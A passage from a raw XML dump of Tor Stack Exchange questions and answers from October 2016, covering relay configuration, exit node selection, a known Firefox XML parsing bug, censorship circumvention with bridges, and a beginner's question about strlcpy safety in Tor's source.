noreferrer&quot;&gt;here&lt;/a&gt;. But iam using latest updated tor. How this bug can affect me?&lt;/p&gt;&#xA;" OwnerUserId="14747" LastEditorUserId="14747" LastEditDate="2016-10-18T20:28:00.887" LastActivityDate="2016-10-19T02:07:35.907" Title="Getting XML parsing error in tor. Is my tor compromised?" Tags="|tor-browser-bundle|anonymity|security|windows|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="12939" PostTypeId="1" AcceptedAnswerId="12941" CreationDate="2016-10-18T17:36:43.493" Score="2" ViewCount="967" Body="&lt;p&gt;i've recently decided to support Tor throught a new relay, then i taked one of my server with debian 8 and follow the steps on torproject website after installing the most recently tor i've edited the torrc file uncommenting this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ORPort 9001&#xA;DirPort 9030&#xA;Exitpolicy accept *:*&#xA;Nickname RELAYNAME&#xA;ContactInfo INFO@RELAYNAME&#xA;BandwidthRate 60 MBytes&#xA;BandwidthBurst 60 MBytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;after that i simply restarted the Tor service and checked the log:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Oct 18 19:24:12.000 [notice] Bootstrapped 85%: Finishing handshake with first hop&#xA;Oct 18 19:24:12.000 [notice] Bootstrapped 90%: Establishing a Tor circuit&#xA;Oct 18 19:24:13.000 [notice] Tor has successfully opened a circuit. Looks like client functionality is working.&#xA;Oct 18 19:24:13.000 [notice] Bootstrapped 100%: Done&#xA;Oct 18 19:24:13.000 [notice] Now checking whether ORPort x.x.x.x:9001 and DirPort x.x.x.x:9030 are reachable... (this may take up to 20 minutes -- look for log messages indicating success)&#xA;Oct 18 19:24:14.000 [notice] Self-testing indicates your ORPort is reachable from the outside. Excellent.&#xA;Oct 18 19:24:15.000 [notice] Self-testing indicates your DirPort is reachable from the outside. Excellent. Publishing server descriptor.&#xA;Oct 18 19:24:15.000 [notice] Performing bandwidth self-test...done.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And after atleast 45mins my relay appeared on Atlas, now i've tried to connect throught my server to Tor simply adding&lt;code&gt;EntryNodes RELAYNAME&lt;/code&gt;, but Tor cannot connect to Tor network and still remain in  &lt;code&gt;Loading relay informations&lt;/code&gt;..&lt;/p&gt;&#xA;" OwnerUserId="14748" LastActivityDate="2016-10-18T19:18:11.840" Title="Tor relay loading informations" Tags="|relays|exit-relays|directory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12941" PostTypeId="2" ParentId="12939" CreationDate="2016-10-18T19:18:11.840" Score="0" Body="&lt;p&gt;It needs some more time and - if your relay is not having a Guard flag - it's role is not an EntryGuard, so try using &lt;code&gt;UseEntryGuards 0&lt;/code&gt; with &lt;code&gt;EntyNodes {your relay}&lt;/code&gt; &lt;strong&gt;and&lt;/strong&gt; &lt;code&gt;StrictNodes 1&lt;/code&gt; - and post a log if you will still have an error&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-10-18T19:18:11.840" CommentCount="24" ContentLicense="CC BY-SA 3.0" />
  <row Id="12943" PostTypeId="2" ParentId="12937" CreationDate="2016-10-19T02:07:35.907" Score="1" Body="&lt;p&gt;It's b0rking when trying to report a network error to you. It's happening while expanding entities (&lt;code&gt;&amp;amp;netInterrupt.longDesc;&lt;/code&gt; denotes an &quot;entity&quot;) within the XML document template that it uses to generate the page displaying the network error it encountered. This is a long standing Firefox bug, on the Mozilla tracker it is &lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=569229&quot; rel=&quot;nofollow&quot;&gt;Bug 569229&lt;/a&gt;, and on the Tor Project tracker it is &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/8842&quot; rel=&quot;nofollow&quot;&gt;#8842&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the Mozilla bugtracker:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This is triggered by nested entities. Expat keeps a linked list of open entities (openInternalEntities) which goes from the most inner open entity to the most outer open entity. In this case we're parsing an entity and it ends in another (inner) entity. While parsing that inner entity we block the parser, either because we're loading something like script, or because we interrupt. The inner entity hasn't been completely parsed, so it's not marked closed and the handler is set to internalEntityProcessor, the outer entity is considered to have been parsed completely, so it is marked closed and openInternalEntities is set to null. When we unblock the parser we end up in internalEntityProcessor with a null openInternalEntities, which is a bogus state and we report an error.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, this is generated when Firefox is trying to render the XML for the page, the XML parser gets into a bad state and reports the error. There is a patch, but it seems it has not yet been introduced (the bug is still open on the Mozilla tracker). Note that this bug is from (at least) 2010, it is not a sign of compromise, just a sign of the (&lt;em&gt;over-&lt;/em&gt;)complexity of XML.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-10-19T02:07:35.907" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12944" PostTypeId="1" AcceptedAnswerId="12945" CreationDate="2016-10-19T02:08:46.190" Score="1" ViewCount="500" Body="&lt;p&gt;I set out to do an experiment that required me to do searches without cookies or location biasing the results.  I wanted location, however to always be somewhere in USA, so I set ExitNodes accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I open a new tab, the exit node is the same as before.  If I closed the window, i.e., all tabs, and open a new one, I still get the same exit node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I select &quot;new circuit&quot; from the menu, I get a different middle node, but the ExitNode does not change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I exit Tor and re-launch, I do get a different ExitNode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a bug?  Is there a way to force a new ExitNode, or change the ExitNodes restrictions, without shutting down and relaunching?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Version 6.0.5 on MacOS 10.12&lt;/p&gt;&#xA;" OwnerUserId="7011" LastEditorUserId="7011" LastEditDate="2016-10-19T02:53:06.317" LastActivityDate="2016-10-19T03:42:47.257" Title="&quot;New circuit&quot; not working right?" Tags="|exit-relays|mac|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12945" PostTypeId="2" ParentId="12944" CreationDate="2016-10-19T03:42:47.257" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;If I open a new tab, the exit node is the same as before. If I closed the window, i.e., all tabs, and open a new one, I still get the same exit node.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The browser uses an isolation method, to isolate connections by the &quot;first party&quot; domain (e.g. &lt;code&gt;torproject.org&lt;/code&gt;), so all tabs with &lt;code&gt;torproject.org&lt;/code&gt; in the address bar will use the same circuit. If both tabs were for the same site, it is intended that it uses the same circuit. It will also keep these circuits open for these sites while they are in use&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If I select &quot;new circuit&quot; from the menu, I get a different middle node, but the ExitNode does not change.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&quot;New Circuit&quot; or &quot;New Identity&quot; do not guarantee a new exit, it only guarantees that it will use a &quot;new&quot; (previously unused, although possibly pre-built) circuit. It's entirely possible that you would pick the same exit twice in two distinct circuits, due to the way weighting influences the path selection.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there a way to force a new ExitNode&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not really, there are some ugly ways to do it but they'd require significant work on your part. There's no real advantage to most Tor users to force a &quot;new&quot; exit node (and infact it could be significantly disadvantageous to anonymity in certain circumstances).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;or change the ExitNodes restrictions, without shutting down and relaunching?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You could use the &lt;a href=&quot;https://stem.torproject.org/api/control.html#stem.control.Controller.set_conf&quot; rel=&quot;nofollow&quot;&gt;Control Port&lt;/a&gt; to reconfigure Tor's ExitNodes configuration, or you can edit the torrc and send a &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#SIGHUP&quot; rel=&quot;nofollow&quot;&gt;hangup signal (SIGHUP)&lt;/a&gt; to the tor process. These would allow you to reconfigure the choice of exits but the choice would be random, another option instead of using &lt;code&gt;ExitNodes&lt;/code&gt; might be to use a &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#MapAddress&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;MapAddress&lt;/code&gt;&lt;/a&gt; directive with the &lt;code&gt;.exit&lt;/code&gt; notation (that is, and should be, disabled by default because of it's serious security and anonymity implications but it will work through a custom &lt;code&gt;MapAddress&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider also that there are already tools that are designed to perform an action across a set of exit relays, like &lt;a href=&quot;https://github.com/nullhypothesis/exitmap&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;ExitMap&lt;/code&gt;&lt;/a&gt;, which allows you to look for anomalous behaviour on specific exits.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-10-19T03:42:47.257" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="12946" PostTypeId="2" ParentId="12934" CreationDate="2016-10-19T03:53:51.910" Score="1" Body="&lt;p&gt;This looks like it's a known bug in Tor Browser, a fix is being worked by the Tor Browser developers at the moment. It's being tracked on the Tor Project bug tracker on ticket &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/20204&quot; rel=&quot;nofollow&quot;&gt;#20204&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may be worthwhile keeping an eye on the &lt;a href=&quot;https://blog.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;Tor Project Blog&lt;/a&gt; for new release announcements (it should reference the aforementioned bug number). I'll also try to update this (or maybe some other good citizen can edit it for me) once the fix has been applied and pushed out to users.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-10-19T03:53:51.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12947" PostTypeId="1" CreationDate="2016-10-19T05:14:47.057" Score="0" ViewCount="523" Body="&lt;p&gt;I downloaded tor browser then all its folder to connect local proxy settings SERVIR for internet access questions had no answers' cause I don `t know the ip address and port, and proxy type. In short one I pomozher pozhalusta&lt;/p&gt;&#xA;" OwnerUserId="14753" LastActivityDate="2017-04-15T03:25:53.557" Title="Internet censored (Kazakhstan)" Tags="|tor-browser-bundle|anonymity|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12948" PostTypeId="1" CreationDate="2016-10-19T07:56:57.687" Score="1" ViewCount="2937" Body="&lt;p&gt;I was asleep while Orbot was up and the following lines came up.  I'm worried because I've never encountered words like totallyninja, spying, etc.  from Orbot before so I'm wondering what they mean: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Circuit (1959) BUILT: TotallyNinja &amp;gt; gelbgrau &amp;gt; PrivacyRepublic0001&#xA;178.32.181.96 France (OVH SAS)&#xA;Circuit (1956) CLOSED: spying&#xA;Circuit (1958) CLOSED: TotallyNinja&#xA;No network connectivity. Putting Tor to sleep…&#xA;NOTICE: Closing no-longer-configured Transparent pf/netfilter listener on 127.0.0.1:9040 &#xA;NOTICE: Closing no-longer-configured Socks listener on 127.0.0.1:9050 &#xA;NOTICE: Closing no-longer-configured DNS listener on 127.0.0.1:5400 &#xA;NOTICE: DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;NOTICE: Closing old Transparent pf/netfilter listener on 127.0.0.1:9040 &#xA;NOTICE: Closing old Socks listener on 127.0.0.1:9050 &#xA;NOTICE: Closing old DNS listener on 127.0.0.1:5400 &#xA;Circuit (1955) CLOSED: TotallyNinja &amp;gt; pyrignis &amp;gt; Unnamed&#xA;Circuit (1959) CLOSED: TotallyNinja &amp;gt; gelbgrau &amp;gt; PrivacyRepublic0001&#xA;Circuit (1954) CLOSED: TotallyNinja &amp;gt; algorithm &amp;gt; marylou2&#xA;Circuit (1934) CLOSED: DipulseFR8 &amp;gt; interrupted &amp;gt; AquaRayTerminus&#xA;NOTICE: Delaying directory fetches: DisableNetwork is set. &#xA;Network connectivity is good. Waking Tor up…&#xA;NOTICE: Opening Socks listener on 127.0.0.1:9050 &#xA;NOTICE: Opening DNS listener on 127.0.0.1:5400 &#xA;NOTICE: Opening Transparent pf/netfilter listener on 127.0.0.1:9040 &#xA;Circuit (1962) BUILT: spying &amp;gt; Unnamed &amp;gt; Cloud&#xA;NOTICE: Tor has successfully opened a circuit. Looks like client functionality is working. &#xA;NOTICE: Tor has successfully opened a circuit. Looks like client functionality is working. &#xA;Circuit (1963) BUILT: spying &amp;gt; randomcitizen &amp;gt; Unnamed&#xA;5.135.158.101 France (OVH SAS)&#xA;46.105.100.149 France (OVH SAS)&#xA;Circuit (1962) CLOSED: spying &amp;gt; Unnamed &amp;gt; Cloud&#xA;Circuit (1963) CLOSED: spying &amp;gt; randomcitizen &amp;gt; Unnamed&#xA;No network connectivity. Putting Tor to sleep…&#xA;NOTICE: Closing no-longer-configured Transparent pf/netfilter listener on 127.0.0.1:9040 &#xA;NOTICE: Closing no-longer-configured Socks listener on 127.0.0.1:9050 &#xA;NOTICE: Closing no-longer-configured DNS listener on 127.0.0.1:5400 &#xA;NOTICE: DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;NOTICE: Closing old Transparent pf/netfilter listener on 127.0.0.1:9040 &#xA;NOTICE: Closing old Socks listener on 127.0.0.1:9050 &#xA;NOTICE: Closing old DNS listener on 127.0.0.1:5400 &#xA;NOTICE: Delaying directory fetches: DisableNetwork is set. &#xA;Network connectivity is good. Waking Tor up…&#xA;NOTICE: Opening Socks listener on 127.0.0.1:9050 &#xA;NOTICE: Opening DNS listener on 127.0.0.1:5400 &#xA;NOTICE: Opening Transparent pf/netfilter listener on 127.0.0.1:9040 &#xA;Circuit (1968) BUILT: CatRelay &amp;gt; esgibteinenweg &amp;gt; wommelator&#xA;NOTICE: Tor has successfully opened a circuit. Looks like client functionality is working. &#xA;NOTICE: Tor has successfully opened a circuit. Looks like client functionality is working. &#xA;Circuit (1967) BUILT: CatRelay &amp;gt; Ramsgate &amp;gt; PrivacyRepublic0001&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can someone explain to me what transpired at the time? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance! &lt;/p&gt;&#xA;" OwnerUserId="14755" LastEditorUserId="14747" LastEditDate="2016-10-19T16:56:30.283" LastActivityDate="2020-04-09T19:17:07.417" Title="Can anyone explain the following Orbot error" Tags="|anonymity|orbot|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12949" PostTypeId="2" ParentId="12947" CreationDate="2016-10-19T10:52:07.353" Score="5" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xKBb7.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xKBb7.png&quot; alt=&quot;Pluggable Transports Infographic&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &lt;a href=&quot;https://www.torproject.org/docs/pluggable-transports.html.en#user&quot; rel=&quot;noreferrer&quot;&gt;Pluggable Transports&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Choose Configure (or accessed under the Green Onion Menu -&gt; Tor Network Settings)&lt;/li&gt;&#xA;&lt;li&gt;Choose 'My ISP block connections...'.&lt;/li&gt;&#xA;&lt;li&gt;Choose &lt;code&gt;obfs4&lt;/code&gt;, &lt;code&gt;meek-azure&lt;/code&gt; or &lt;code&gt;meek-amazon&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Select Okay.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Unless you normally need to configure a proxy to connect to the internet, do not choose to use a proxy.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-10-19T10:52:07.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12952" PostTypeId="1" AcceptedAnswerId="12957" CreationDate="2016-10-19T16:07:53.790" Score="1" ViewCount="107" Body="&lt;p&gt;i've recently started a new relay for support purpose, but in the torrc file i've added this lines:&lt;br&gt;&#xA;&lt;code&gt;BandwidthRate 60 MBytes&#xA; BandwidthBurst 60 MBytes&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But on ATLAS it seems to remain on 250 KB, why my bandwidth arent corresponding?&lt;/p&gt;&#xA;" OwnerUserId="14748" LastActivityDate="2016-10-20T00:50:42.393" Title="Tor relay bandwidth not corresponding" Tags="|configuration|relays|bandwidth|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12954" PostTypeId="2" ParentId="12947" CreationDate="2016-10-19T16:50:31.783" Score="0" Body="&lt;p&gt;You need to get a bridges as it's said on &lt;a href=&quot;https://www.torproject.org/docs/bridges&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/bridges&lt;/a&gt; and put them into your config.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feel free to ask further questions - and you can ask me in russian too =) &lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-10-19T16:50:31.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12956" PostTypeId="2" ParentId="12907" CreationDate="2016-10-19T18:12:10.423" Score="1" Body="&lt;p&gt;Solved. Problem was in Torrc file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;must be&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;LearnCircuitBuildTimeout 0 &#xA;CircuitBuildTimeout 1 &#xA;DataDirectory &quot;C:\Tor Browser\Browser\TorBrowser\Data\Tor &#xA;GeoIPFile C:\Tor Browser\Browser\TorBrowser\Data\Tor\geoip &#xA;GeoIPv6File C:\Tor Browser\Browser\TorBrowser\Data\Tor\geoip6 HiddenServiceStatistics 0 MaxCircuitDirtiness 10&lt;br&gt;&#xA;NewCircuitPeriod 1&lt;br&gt;&#xA;StrictNodes 1&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="14701" LastActivityDate="2016-10-19T18:12:10.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12957" PostTypeId="2" ParentId="12952" CreationDate="2016-10-19T18:39:50.147" Score="2" Body="&lt;p&gt;Atlas shows an average of &lt;em&gt;actual&lt;/em&gt; bandwidth, i.e. what was actually used. It does not show the limits, because they are not published anywhere on Atlas: they're set just for reference of your very particular instance of Tor&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2016-10-20T00:50:42.393" LastActivityDate="2016-10-20T00:50:42.393" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12958" PostTypeId="1" CreationDate="2016-10-19T20:46:27.700" Score="3" ViewCount="1961" Body="&lt;p&gt;I have gone through this question &lt;a href=&quot;https://tor.stackexchange.com/questions/13/can-a-hidden-service-be-hosted-by-multiple-instances-of-tor?newreg=8008f12d747e497a9a37a742eaac6a6e&quot;&gt;SO&lt;/a&gt; but the solution suggested as &lt;a href=&quot;https://onionbalance.readthedocs.io/en/latest/&quot; rel=&quot;nofollow noreferrer&quot;&gt;OnionBalance&lt;/a&gt; or other HAProxy options will result in a single point of failure - either the loadbalancer or else the server running the OnionBalancer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a possible way of creating a high availability setup (the way it is done in the DNS world using a floating or private ip setup and creating active/passive cluster)?&lt;/p&gt;&#xA;" OwnerUserId="14762" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2021-12-24T01:02:00.257" Title="How to use HAProxy/OnionBalance to create a high availability load balancer for tor hidden service?" Tags="|onion-services|server-administration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12959" PostTypeId="2" ParentId="12958" CreationDate="2016-10-19T22:14:48.887" Score="0" Body="&lt;p&gt;nope, sadly: you can not run multiple HS instances of your website in current Tor base(in my patch it's possible, but it will be released later after a proper debugging). If your HS website is static(=does not require a database and/or active server environment like PHP) - use &lt;a href=&quot;https://zeronet.io/&quot; rel=&quot;nofollow&quot;&gt;ZeroNET&lt;/a&gt;, it does exactly what you need.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-10-19T22:14:48.887" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12960" PostTypeId="1" AcceptedAnswerId="12962" CreationDate="2016-10-20T10:03:17.093" Score="1" ViewCount="62" Body="&lt;p&gt;first of all let me say that I started to study the C three days ago. As exercise I'm reading source code as much as I can. I thought I'd start with Tor and, in this file &lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree/src/common/compat_libevent.c&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;src/common/compat_libevent.c&lt;/code&gt;&lt;/a&gt;, I found something that has puzzled me (&lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree/src/common/compat_libevent.c#n33&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;n = strlcpy(buf, msg, sizeof(buf));&lt;/code&gt;&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;STATIC void&#xA;libevent_logging_callback(int severity, const char *msg)&#xA;{&#xA;  char buf[1024]; //size of buf&#xA;  size_t n; //store the maximum size of n&#xA;  if (suppress_msg &amp;amp;&amp;amp; strstr(msg, suppress_msg)) //if suppress_msg is not NULL and in suppress_msg there is msg...&#xA;    return;&#xA;  n = strlcpy(buf, msg, sizeof(buf)); //here I'm confused: msg, for example, of 2048 bytes will lead to a buffer overflow... or not?&#xA;  if (n &amp;amp;&amp;amp; n &amp;lt; sizeof(buf) &amp;amp;&amp;amp; buf[n-1] == '\n') {&#xA;    buf[n-1] = '\0';&#xA;  }&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A &lt;code&gt;msg&lt;/code&gt;, for example, of 2048 bytes will lead to a buffer overflow, right (or not)?&lt;/p&gt;&#xA;" OwnerUserId="14765" LastEditorUserId="88" LastEditDate="2016-10-20T15:28:31.800" LastActivityDate="2016-10-20T17:51:41.780" Title="Possible buffer overflow in compat_libevent.c?" Tags="|source-code|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12961" PostTypeId="1" CreationDate="2016-10-20T14:48:58.137" Score="1" ViewCount="3035" Body="&lt;p&gt;I unfortunately don't use Tor very much or know much about appropriate configurations, but recently I tried using Tor at my school and while trying to start up it got stuck on &quot;establishing an encrypted directory connection&quot; for ~8 minutes. I'm not entirely sure how long the process typically takes, but I dont believe it takes that long regularly. Should I be using different configurations for Tor (my current is the default one :p)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;10/20/2016 21:40:49 PM.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;10/20/2016 21:40:54 PM.700 [NOTICE] DisableNetwork is set. Tor will not make or &#xA;accept non-control network connections. Shutting down all existing connections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;10/20/2016 21:40:54 PM.700 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;10/20/2016 21:40:54 PM.700 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;10/20/2016 21:40:54 PM.700 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;10/20/2016 21:40:55 PM.500 [NOTICE] Bootstrapped 5%: Connecting to directory server &lt;/p&gt;&#xA;&#xA;&lt;p&gt;10/20/2016 21:40:55 PM.600 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &lt;/p&gt;&#xA;&#xA;&lt;p&gt;10/20/2016 21:48:27 PM.800 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;10/20/2016 21:48:27 PM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;10/20/2016 21:48:27 PM.800 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;10/20/2016 21:48:28 PM.600 [NOTICE] Delaying directory fetches: DisableNetwork is set. &lt;/p&gt;&#xA;" OwnerUserId="10146" LastActivityDate="2017-02-17T21:53:01.170" Title="Tor gets stuck at &quot;establishing an encrypted directory connection&quot;" Tags="|configuration|help|network-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12962" PostTypeId="2" ParentId="12960" CreationDate="2016-10-20T15:33:03.103" Score="2" Body="&lt;p&gt;The manpage for &lt;a href=&quot;https://linux.die.net/man/3/strlcpy&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;strlcpy()&lt;/code&gt;&lt;/a&gt; says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The strlcpy() function copies up to size - 1 characters from the NUL-terminated string src to dst, NUL-terminating the result. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So the size in your example is 1024 Bytes (&lt;code&gt;sizeof(buf)&lt;/code&gt;). As far as I understand it it will copy 1023 from &lt;code&gt;msg&lt;/code&gt; and terminate with &lt;code&gt;NUL&lt;/code&gt;. Even if you enter a data block which is larger. So there is no buffer overflow possible. People in &lt;a href=&quot;https://stackoverflow.com&quot;&gt;https://stackoverflow.com&lt;/a&gt; could possibly explain this in more detail.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2016-10-20T15:33:03.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12963" PostTypeId="1" CreationDate="2016-10-20T17:28:33.117" Score="0" ViewCount="144" Body="&lt;p&gt;I read this on another question&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Entry-Node (Knows your address and relay nodes address)&#xA;Relay-Node (knows entry-node and exit-node address)&#xA;Exit-Node (knows address of relay-node and webserver)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But,what if Entry-Node send my ip address to Relay-Node,which will send it to Exit-Node ?&#xA;Then will the Exit Node have both my IP Adress and what i am sending ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this principle it looks like the each node can send ip adresses he knows  &lt;strong&gt;outside Tor&lt;/strong&gt; and where he get it to another nodes (like DHT) in some software or just by IP packets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Me                 Entry-Node                 Relay-Node           Exit-Node      Server&#xA; Data(Tor) -------&amp;gt; -------------------------&amp;gt; -------------------&amp;gt; --------------&amp;gt; ----&#xA; My IP(Tor)-------&amp;gt; My IP (outside Tor com.)-&amp;gt; -------------------&amp;gt; ---------My IP&#xA; My Data            Encrypted Data             Encrypted Data       Decrypted Data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Well,the nodes will have to use some special kind of software...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;And one more thing,can anyone with Tor become a exit node ?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Or Tor accept only 'verified' entry and exit nodes,and the other can become just a relay ?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="14780" OwnerDisplayName="ad48" LastEditorUserId="14780" LastEditDate="2016-10-21T15:49:58.740" LastActivityDate="2016-10-21T15:49:58.740" Title="Another question about Tor exit node" Tags="|anonymity|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12964" PostTypeId="2" ParentId="12961" CreationDate="2016-10-20T17:42:51.520" Score="1" Body="&lt;p&gt;You seem to be a victim of HTTPS/TLS/SSL attacks, try using Meek pluggable transport&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: A pluggable transport is an on-flight handler that masks Tor protocol and requests, so they don't look like themselves and look more like regular requests for another massively used protocol, like HTTPS, for example. The official &lt;a href=&quot;https://blog.torproject.org/blog/how-use-%E2%80%9Cmeek%E2%80%9D-pluggable-transport&quot; rel=&quot;nofollow&quot;&gt;&quot;how-to&quot;&lt;/a&gt; is a good point to start&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2016-10-20T19:16:36.427" LastActivityDate="2016-10-20T19:16:36.427" CommentCount="14" ContentLicense="CC BY-SA 3.0" />
